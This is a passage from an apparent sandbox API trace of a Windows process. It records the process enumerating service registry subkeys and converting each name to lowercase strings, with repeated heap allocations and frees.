lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.834] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.834] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.835] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.835] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.835] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.835] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.836] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.836] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.836] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.836] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.836] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.837] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.837] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.837] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.838] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.838] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.838] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.838] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.839] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.839] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.839] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.839] RtlAllocateHeap (HeapHandle=0x2520000, 